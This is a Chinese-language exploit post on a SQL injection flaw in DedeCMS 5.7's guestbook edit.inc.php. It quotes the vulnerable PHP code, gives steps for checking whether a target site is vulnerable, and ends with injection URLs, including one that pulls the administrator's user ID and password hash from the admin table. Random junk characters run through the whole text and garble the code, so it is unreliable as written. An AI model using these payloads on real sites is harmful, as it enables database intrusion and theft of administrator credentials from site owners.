影响版本为5.7* o$ v# ~9 g; N- g! r1 f
& U2 C1 C2 z* U k6 L3 @漏洞文件edit.inc.php具体代码:, n' z' x9 `; T! t2 j
0 ^% b$ {: ]2 ^( y% n< ?php 6 b- M+ Y/ w! j$ _( @! v' B
3 G9 p8 J8 `% ]$ _" J Mif(!defined('DEDEINC')) exit('Request Error!');
: G) R+ a }. Q0 U F0 Q
5 }& |1 G. @! J& f( e2 o9 t7 V$ b# p# E
: G, v, r$ y& e, M( p; v" C( j9 J% ~- e* U) n2 B7 H9 m3 k, d
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; % x6 r( l& A3 n: | K1 v
0 y u ]2 z% p7 `, o2 }
else $GUEST_BOOK_POS = "guestbook.php";
) G) `8 x* @# H/ c2 N
: [; ~6 X' y/ E
. h7 K, `" V7 {6 h& V2 X( ^% \4 ]8 L6 |; M$ b
$id = intval($id);
$ L+ j b/ `) b) k6 H' d/ m1 q
if(empty($job)) $job='view'; / z5 C; y2 F+ T5 N2 S4 N" y
! ?: q' n; \6 Q/ e3 n5 \9 m
& `( s; B# H S/ k% u" o) N) ?5 q# C
2 A: t9 i! ^, |! _( D
if($job=='del' && $g_isadmin) & _+ S1 z$ X* `5 J2 {' E4 m
4 [4 l* w7 h" s& q
{
$ G, Y g1 Z9 _' l0 D! C
0 Z3 H) b9 s; S/ E$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
- [6 |, @0 ~* w( I1 v: P- J7 J G5 y3 O( K2 ?7 Q. N/ I
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
$ c( j E3 T. r' F0 W) C- Y; {2 C, l# u. E
exit();
% R/ _8 S9 W+ l Z
4 ^* y' A- a3 [9 i2 W} , p0 K1 k$ k3 n8 }9 F; n
) d8 Z' C+ ~6 n7 _ t: `
else if($job=='check' && $g_isadmin) 6 D6 n2 Q. v% }: ]& K) ?' V) g
% l/ u! k: N6 M4 }, F+ \4 q; T
{
8 {, r! y6 x6 b, S+ n* I: k" ~. ?7 W! z" W( P, L
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); & |( c r* z) x! ?2 N6 L
5 v9 d+ G$ x" ]. u$ Q* G ?ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
, x. Q2 a& y$ j7 V. z3 d% K8 d' \# J( m$ R0 s% E- Y4 j( F
exit();
; f5 v- z5 k( J2 J. }
7 L! I6 x, F/ o} 3 @2 F9 q$ t! W6 p! m6 r: D
' }# `( j X' a7 |0 Y e. n
else if($job=='editok') ' y5 W# v" [/ m' q2 }1 T( r8 b( N
6 [5 G. A* J) g* r/ z
{ 2 l8 t% z0 T, e0 a3 a+ {- k% W7 N
9 Y" [" z9 h: w; S" l% F6 A% A& ^. E
$remsg = trim($remsg);
" K: h- V$ o6 P# b0 l
3 B: y2 |% C: w: y- c0 a+ Dif($remsg!='')
7 Y+ `$ e- H1 ~1 m- ~9 ]" d3 D9 D& ] K' R
{
4 ^, b; c$ D, H2 {4 G+ b! j4 r
. t( U5 i4 A2 E' m& i//管理员回复不过滤HTML By:Errorera blog:errs.cc ' Y+ _6 K9 b8 u( D. t: X
7 x& G. |6 @# P+ Eif($g_isadmin) / ^. F. ]5 \: N% S+ x
$ o# t. p- X" ~" l
{ 0 a' n4 P! A: `
% L/ o! f/ h N1 P: Z' ]9 i8 V
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; & j+ ~3 u5 p' W+ \. u5 k) n* v0 i; r
- h0 h3 J( {6 g$ t1 ]# M8 L( ]' R
//$remsg <br /><font color=red>管理员回复:</font> } 1 [4 L/ x& |6 e" P' p. }
+ a( f0 U% @3 X W8 o0 Velse # i& ]+ ?* L _. }
6 I, a5 g u, G0 C ?. d! Z3 n2 |
{ ) K# _9 |3 L. R" Y5 ^* Z
& v5 Y* h+ p3 v5 i* t* M* O$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
2 f4 h P7 Q m8 x1 e! B5 h2 G
2 a2 Z- g0 d8 A+ R2 J$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; , I8 d0 I, m1 m6 m6 \8 |. i; d3 X
/ c4 U; ~! d, j; @! l9 a' C1 {
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
& `: M# ^* f8 J
3 l- i0 V, z9 j4 N( Z8 g# r- a$msg = $oldmsg.$remsg;
9 N/ W7 j3 p: F4 G$ Z: p1 j: D3 Y2 O
} 8 N4 G5 A: s" m& |7 X
# l q5 H+ ^/ v
}
& V0 j- m6 q1 O; m
5 S# v% u+ F1 P2 s5 I0 u2 w1 Z. [' n//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc B& K/ x- H$ E5 F4 F" C
! Q# {$ H1 s; c B1 f3 K$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); # n% {: f2 |. T$ U; A Q* `. i" \
5 `, O" @; g1 S K# b
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); 9 X% y0 {6 ?1 u
7 l+ i' i8 n9 A. { w3 M# M1 I4 W& E
exit(); 6 _ s2 j+ K" m; l! O( k
* n6 O2 y; c' K/ b; o4 Y5 u! e! ^( x} 0 y" u# @! e4 L' Y4 v5 b4 L7 n
0 m" l c9 v$ B//home:www.errs.cc 8 }: p5 h, o2 F7 `! X$ u
. N) n% P* I# ^- J
if($g_isadmin)
$ J: v. X% G; W9 \( Z! ]! U: I% E" q) ]/ a
{
4 t: a9 m/ C, k9 E, A4 k+ G9 t& o8 g# Y6 P( h8 r$ d' X+ w' f8 U3 k
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); e" K% D. F1 d8 P; v: |- ^( }
" h9 B# U0 J* h
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); $ X1 i. o8 H& b7 S
d- ?- o. ?3 C1 |}
3 S1 i1 ]' {% `6 o" [. c z, r2 M; I2 W& X e4 C' }1 T6 t5 R
else
8 }& t9 F3 A1 W
& o' u' L' N1 U; N6 R{
, V! s+ e& W7 F3 f8 A2 G, K- \+ x; ?* {+ _1 B3 B
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); * M M [+ K. j# w- @* \: q
+ d& @1 V8 Z% H" j
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
9 |0 [, r$ s4 p3 G$ l3 R( ^* v! t7 N" m
} 漏洞成功需要条件:* I! k# F c& C
1. php magic_quotes_gpc=off* Z) r: t: X/ z- T+ @
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
+ z+ f8 u4 U) m6 N9 {" \. N. J x& P+ s' @$ a v6 o) e
怎么判断是否存在漏洞:$ ?! u% d7 _0 c2 l6 }8 v
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,2 S' m8 v% {; L5 m q0 `6 q
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID+ I9 V8 N1 h4 X. u" A7 N( X* R3 b
访问:
1 J2 e9 B6 f: K& v! j& _% V3 `, M6 d0 d r: m+ I
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
# W v1 @7 O" j- u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
$ B/ T6 l+ i k+ b6 i$ x, D9 K% e) e+ r5 @; W l
: F, l% W. K2 t3 c1 ]$ ~, I/ W& f% s
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off j4 {8 N7 u( v! L$ q) Z, b/ Z
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
% O9 ]) _$ B$ }2 u1 R9 z# Q那么再次访问
' h0 E9 j; U) C' [
) N* V& \* R. g# N ?4 q; M0 hwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
- g. N; z& a& @7 b+ J) w0 A
1 R& q3 b/ w; ]/ l大概利用就是这样,大家有兴趣的多研究下!!
0 o; t# q4 ^% r8 e$ T. h
0 X6 d" J+ V! G最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
6 X+ ?6 M; v6 v( i# w3 g/ m/ ?
& t }8 R6 y, i9 w* Zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |